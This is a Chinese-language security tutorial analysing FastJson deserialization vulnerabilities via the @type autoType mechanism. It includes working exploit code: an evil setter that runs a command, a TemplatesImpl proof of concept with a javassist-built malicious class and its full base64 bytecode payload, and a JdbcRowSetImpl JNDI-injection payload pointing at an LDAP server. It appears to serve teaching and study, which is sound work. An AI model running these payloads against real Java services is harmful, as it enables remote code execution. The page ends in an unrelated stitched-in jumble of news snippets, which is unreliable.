范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

网络安全之反序列化漏洞分析

  简介
  FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过 toJSONString  和parseObject/parse  来实现序列化和反序列化。使用
  对于序列化的方法 toJSONString()  有多个重载形式。
  SerializeFeature  : 通过设置多个特性到FastjsonConfig  中全局使用, 也可以在使用具体方法中指定特性SerializeFilter  : 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化SerializeConfig  : 添加特点类型自定义的序列化配置
  对于反序列化的方法 parseObject()  也同样有多个重载形式。
  【一一帮助安全学习,所有资源关注我,私信回复"资料"获取一一】
  ①网络安全学习路线
  ②20份渗透测试电子书
  ③安全攻防357页笔记
  ④50份安全攻防面试指南
  ⑤安全红队渗透工具包
  ⑥网络安全必备书籍
  ⑦100个漏洞实战案例
  ⑧安全大厂内部视频资源
  ⑨历年CTF夺旗赛题解析 序列化操作
  可以发现这两个的区别,如果使用了toJSONString()的属性值 SerializerFeature.WriteClassName  ,就会在序列化的时候多写入一个@type  后面跟着的是反序列化的类名。反序列化操作package pers.fastjson;  import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;  public class UnSerialTest {     public static void main(String[] args) {         String jsonStringWithType = "{"@type":"pers.fastjson.Student","name":"RoboTerh"}";         String jsonStringWithoutType = "{"name":"RoboTerh"}";          System.out.println("use JSON.parse with type......");         Object o1 = JSON.parse(jsonStringWithType);         System.out.println(o1);         System.out.println("------------------------------------");          System.out.println("use JSON.parse without type....");         Object o2 = JSON.parse(jsonStringWithoutType);         System.out.println(o2);         System.out.println("-------------------------------------");          System.out.println("use JSON.parseObject with type.......");         JSONObject o3 = JSON.parseObject(jsonStringWithType);         System.out.println(o3);         System.out.println("--------------------------------------");          System.out.println("use JSON.parseObject without type.........");         JSONObject o4 = JSON.parseObject(jsonStringWithoutType);         System.out.println(o4);         System.out.println("----------------------------------------");          System.out.println("use JSON.parseObject without type but hava .Class");         Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);         System.out.println(o5);     } }
  可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。
  我们可以发现,在引入了 @type  之后,JSON.parseObject  调用了getter/setter  方法,JSON.parse  调用了setter  方法。
  当然,其他的方式也是可以调用 getter  方法的,但是有条件限制:
  条件一、方法名需要长于4
  条件二、不是静态方法
  条件三、以get字符串开头,且第四个字符需要是大写字母
  条件四、方法不能有参数传
  条件五、继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
  条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
  因为 fastjson  存在autoType  机制, 当用户指定@type  时, 存在调用恶意setter  /getter  的情况, 这就是fastjson  反序列化漏洞。简单的漏洞//Evil.java package pers.fastjson;  import java.io.IOException;  public class Evil {     private String name;      public Evil () {         System.out.println("构造方法");     }     public void setName(String name) throws IOException {         this.name = name;         System.out.println("调用了setName方法");         Runtime.getRuntime().exec("calc");     }     public String getName() {         System.out.println("调用了getName方法");         return name;     } }  //EvilTest.java package pers.fastjson;  import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;  public class EvilTest {     public static void main(String[] args) {         String jsonString = "{"@type":"pers.fastjson.Evil","name":"RoboTerh"}";         JSONObject o = JSON.parseObject(jsonString);         System.out.println(o);     } }
  成功弹出了计算器,
  我们调式分析分析,
  在 JSON.parseObject  处下的断点。
  首先使用了parse()方法进行反序列化操作。
  在 JSON.parse(String text, int features)  创建了DefaultJSONParser  对象。
  在成功创建了该对象之后通过判断 ch  是{ / [  为token赋值,这里是12。
  在 DefaultJSONParser#parse  方法中通过判断token的值,进入创建了一个JSONObject  对象。
  进 parseObject  方法, 这里会通过scanSymbol  获取到@type  指定类, 然后通过TypeUtils.loadClass  方法加载Class  .
  先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到 clazz  的之后进行返回
  创建了 ObjectDeserializer  并且调用了getDeserializer  方法。Templateslmpl利用链
  如果一个类中的 getter  满足调用条件而且存在可利用点,攻击链就产生了。
  在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl  类中就存在一个私有变量_outputProperties  ,他的getter  方法就满足在反序列化的时候的调用条件。分析利用链,
  从漏洞触发点开始 Templateslmpl#getTransletInstance  方法。
  这里通过调用 _class[_transletIndex]  的newInstance()  方法进行实例化操作,我们追踪_class[_transletIndex]  的出处,看看是否可以控制,进行恶意操作。
  值得注意的是,我们想要达到漏洞点,在 getTransletInstance()  方法的两个if语句中,我们需要保证他的_name  这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。
  在第二个语句中就是通过 defineTransletClasses()  方法获得了_class  和_transletIndex  的值,进入它。
  首先判断 _bytecodes  是否为空,这里的_bytecodes  同样是Templateslmpl  类的成员变量,可控
  如果这里不为空的话,就会执行。
  而且这里如果 _tfactory  不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl  类的成员变量,但是他没有对应的setter  ,我们可以通过Feature.SupportNonPublicField  来进行修改。
  接着走,在后面有一个for循环,
  通过 loader.defineClass  修饰之后将_bytecodes[i]  赋值给_class[i]  ,跟进defineClass方法。
  他是 ClassLoader  的defineClass  的重写,作用是将字节码转化为Class,
  转回 defineTransletClasses  ,在if判断语句中,如果它是main class的时候我们就为_transletIndex  赋值。
  现在重新回到 getTranslateInstance()  方法,现在这里的_class[_translateIndex]  就是我们为_bytecodes  赋值的恶意class,我们这里将他给实例化了,成功利用恶意类,
  现在我们可以知道 getTranslateInstance()  是可以执行恶意类的,我们搜索在Templateslmpl  类中什么调用了这个方法的。
  可以发现在 newTransformer()  方法中使用了getTransletInstance()方法。
  继续搜索在哪里调用了newTransformer()方法。
  在 getOutputProperties()  方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。//利用链 getOutputProperties()     newTransformer()     	getTransletInstance()     		defineTransletClasses()     	_class[_transletIndex].newInstance()  POCpackage pers.fastjson;  import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.codec.binary.Base64;  import java.io.IOException;  public class Fj24POC {     public static class RoboTerh {      }     public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {          ClassPool pool = ClassPool.getDefault();         CtClass cc = pool.get(RoboTerh.class.getName());         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";         cc.makeClassInitializer().insertBefore(cmd);         String randomClassName = "RoboTerh" + System.nanoTime();         cc.setName(randomClassName);         cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));         byte[] evilCodes = cc.toBytecode();          return Base64.encodeBase64String(evilCodes);     }      public static String exploitString() throws NotFoundException, CannotCompileException, IOException {         String evilCodeBase64 = makeClasses();         final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";         String exploit = "{"RoboTerh":{" +                 ""@type":"" + NASTY_CLASS + ""," +                 ""_bytecodes":["" + evilCodeBase64 + ""]," +                 ""_name":"RoboTerh"," +                 ""_tfactory":{ }," +                 ""_outputProperties":{ }" +                 "}} ";          return exploit;     }      public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {         String exploit = exploitString();         System.out.println(exploit);         //JSON.parse(exploit, Feature.SupportNonPublicField);         //JSON.parseObject(exploit, Feature.SupportNonPublicField);         JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);     } }
  //payload {"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],"_name":"RoboTerh","_tfactory":{ },"_outputProperties":{ }}}
  条件限制
  需要开启 Feature.SupportNonPublicField  这个特性。JdbcRowSetImpl利用链分析利用链
  JdbcRowSetImpl  类位于com.sun.rowset.JdbcRowSetImpl  中,它本身没有实现Serializeble  接口,但是他是BaseRowSet  类的子类,该类实现了该接口,所以它可以进行序列化。
  链子的核心触发点是 javax.naming.InitialContext#lookup  的参数可控造成的漏洞。
  在 JdbcRowSetImpl#setAutoCommit  中如果this.conn  为空的时候,就会调用this.connect  方法。
  然后在connect方法中就会调用 Javax.naming.InitialContext#lookup  方法,参数是dataSourceName  成员变量。
  //调用链 JdbcRowSetImpl对象     getDataSource     	setAutocommit方法     		context.lookup(datasourcename)  POCpackage pers.fastjson;  import com.alibaba.fastjson.JSON;  public class Fj24_Jdbc_POC {     public static void main(String[] args) {         String payload = "{" +                 ""@type":"com.sun.rowset.JdbcRowSetImpl"," +                 ""dataSourceName":"ldap://127.0.0.1:8888/EvilObject"," +                 ""autoCommit":"true"," +                 "}";         //JSON.parseObject(payload); 成功         //JSON.parse(payload); 成功         JSON.parseObject(payload, Object.class);     } }
  //payload {"RoboTerh":{ 	"@type":"com.sun.rowset.JdbcRowSetImpl", 	"dataSourceName":"ldap://127.0.0.1:8888/evilObject", 	"autoCommit":true }}  条件限制,
  使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。

咖啡对身体有好处吗咖啡有什么好处,咖啡到底对身体好不好!咖啡给你一个美好的下午提神!让你在这期间不停地活动。但是深呼吸咖啡对你有好处吗?事实证明,咖啡含有一些让人惊讶健康益处,适量饮用咖啡没有太多的负面影响。咖啡因是一种天然的兴奋剂,能新秀重排班切罗令人失望,3。7命中率断档联盟,雷霆后卫冲进前三联盟中有个很奇怪的现象,如果说哪届选秀是超级大年,那么答案不一定准确,但要说哪届选秀很可能资质平平,则一定十分准确。起先人们都认为22年选秀保罗班切罗还拥有成为超级球星的希望,现在申花点燃新赛季阵容瘦身第一把火,3国脚3老将被清洗,1人已离队前言据悉,上海申花在休赛期的股改工作非常顺利,新金主加入后就第一时间解决了队内欠薪,并重新调整了教练组成员。在保留教练吴金贵主帅位置之余,还为他新签下日本籍教练前田浩二,找来了申花爱彼迎2022年净利19亿美元首次实现年度盈利受益于强劲旅游需求660万套房源创历史新高长江商报奔腾新闻记者张璐民宿预订平台爱彼迎(Airbnb)(ABNB。US)在疫情后交出的第一份全年财报,公司多项数据创历史新高,还首次实现了全年盈利。2月15日,爱彼迎发布了20RiotPWR云游戏控制器上架苹果商城售价548元IT之家2月17日消息,苹果中国商城近日上架了一款RiotPWR云游戏控制器,售价为548元。官方描述称该控制器是目前市面上唯一通过闪电接口连接的全尺寸手机游戏控制器。IT之家附苹索尼克未知边境销量远超世嘉预期未来新游戏将投入更多资金去年,世嘉发布了索尼克系列的久违新作索尼克未知边境,而在几天前的世嘉新财报中提到,索尼克未知边境销量已超过290万份,这一数字远远超过了世嘉的预期,他们未来计划投入更多资金到此类项华侨管理召开特色水果产业大镇建设专家咨询会如何促进侨区经济高质量发展?日前,汕尾市华侨管理区邀请省农科院邱继水陆育生蔡时可赖多等多位专家来侨区召开特色水果产业大镇建设专家咨询会,以推进特色水果产业大镇建设。该区党委书记管委游戏终章我们失去了一个世界魔兽世界国服在2023年关闭所有国服运营的魔兽世界服务器。魔兽世界在全球大规模运营的角色扮演游戏,拥有了超过一亿个注册用户,玩家遍布地球上的244个国家与地区,无论是极地还是荒漠,库木库里沙漠中的湖从哪来?谜底揭开石榴云新疆日报讯(记者赵梅报道)没有入水口,也没有出水口,坐落于库木库里沙漠中的沙子湖从何而来?为何能源源不断补给水分?昆仑山北坡水资源科学考察队的科研人员解开了这一秘密。位于阿尔一个迷人的阿拉伯王国杰拉什约旦北部城市。坐落在安曼市以北40公里处,距安曼与约旦河河谷各约32公里。是约旦境内保存得最完好的古罗马城市,也是世界上最大规模的古罗马城市遗迹之一。每年七月,约旦都在这里举办杰拉呼伦贝尔号旅游列车,国内高端旅游列车天花板,沿途风景很美不知大家有没有发现,现在各行各业之间的内卷越来越严重。似乎没有钱就寸步难行,有钱的人可以享受到一切服务。在我们看来,具有公益性质的火车最近也开始内卷,产生了很多高质量火车。用一个具
法国出现首例猴痘感染者!这种神秘病毒到底有多可怕?大家周五好呀!今早小编像往常一样打开大眼仔吃瓜。却发现有个叫猴痘的东西登上了热搜第一。这猴痘是啥?求知欲旺盛(无知)的小编赶紧点进去看看。原来猴痘是一种传染病,会引起发烧头痛最重要E宝大背刺啦!无主之地3限时领取,下周神秘游戏同样精彩上周酝酿了一个星期的Eipc免费游戏终于公布了,那就是无主之地3了,从5月20日早晨至5月26日2300截止,看到的小伙伴赶紧领一下吧。还是那句话可以不玩,但不能没有,Steam不2021年,刚出生4天的女婴神秘失踪,被找到时正躺在洗衣机里2021年4月14日晚上,一名孕妇正在家中客厅里走来走去,脸上满是焦躁不安。突然!大门被人敲响,孕妇吓了一跳,犹豫了一下才上前把门打开,紧接着就被鱼贯而入的警察控制住了。你们为什么虚伪面具下的丑陋影视杂谈浅评调音师视听语言运用著名导演罗姆说过电影具有比任何其他艺术更富表现力的细节。调音师中导演运用丰富的视听语言让剧情更富有张力,讲诉了一位失败的钢琴天才自欺欺人地成为盲人调音让节目组三顾茅庐,饭桌上回怼宁静,于文文凭什么这么拽?都说三个女人一台戏,那三十个女人那岂不是得乱成一锅粥?乘风破浪的姐姐第三季改名乘风破浪强势开播,前两季的冠军宁静和那英回归,成为率领两大阵营的队长。按理说这两位大姐大都不是省油的灯湖南这个县曾经被衡阳管辖了一千多年,历史上五县与其同名一舟过安仁小时候,上学学过一首古诗,名字叫做舟过安仁。诗云一叶渔船两小童,收篙停棹坐船中。怪生无雨都张伞,不是遮头是使风。作者是宋朝大诗人杨万里。杨万里是江西吉水县人,我的祖籍在江回顾漂亮女子穿着清凉与65岁老外跳舞,网友为什么不是我?在上海疫情期间,一段跳舞视频走红。一名面容姣好的女子和一位老外跳着交际舞,视频之所以走红,一方面原因是女子穿着清凉,只穿着一条青色吊带短裙,而另一方面更让网友大力关注的是这段跳舞视到底谁在说谎?美俄互相指责对方制造粮食危机,乌克兰却被遗忘了参考消息援引法新社报道称,美俄常驻联合国代表就世界粮荒议题展开了激辩。美方认为,俄罗斯阻拦乌克兰粮食出口是导致世界性粮荒加剧的根本原因,从稳定供应链的角度出发,俄方必须让行。俄罗斯大V实测ROG骁龙8Gen1工程机!能效提升,玩家有望获得极致快乐?5月20日晚,高通正式发布了两款全新的移动平台分别是骁龙8Gen1与第一代骁龙7移动平台,其中骁龙8Gen1成为了众多消费者们关注的焦点。官方表示,骁龙8Gen1同样采取的是4nm猴痘虽然看上去很吓人,但我们更需要关注的或许是鸡痘英国卫生安全局5月18日消息,自5月6日以来在英格兰确诊的猴痘病例总数达到9例。继英国葡萄牙和西班牙等欧洲国家相继报告罕见的人类猴痘(Monkeypox)疫情后,美国于当地时间5月债务缠身,门店锐减,深耕郑州27年的正道思达能否涅槃重生?河南正道思达商业连锁曾收购过中环百货思达郑荣等企业名噪一时,现如今旗下正道思达超市从此前的近300家直营店及加盟店,缩减至目前的50多家,这家河南最早的连锁企业发生了什么?01hr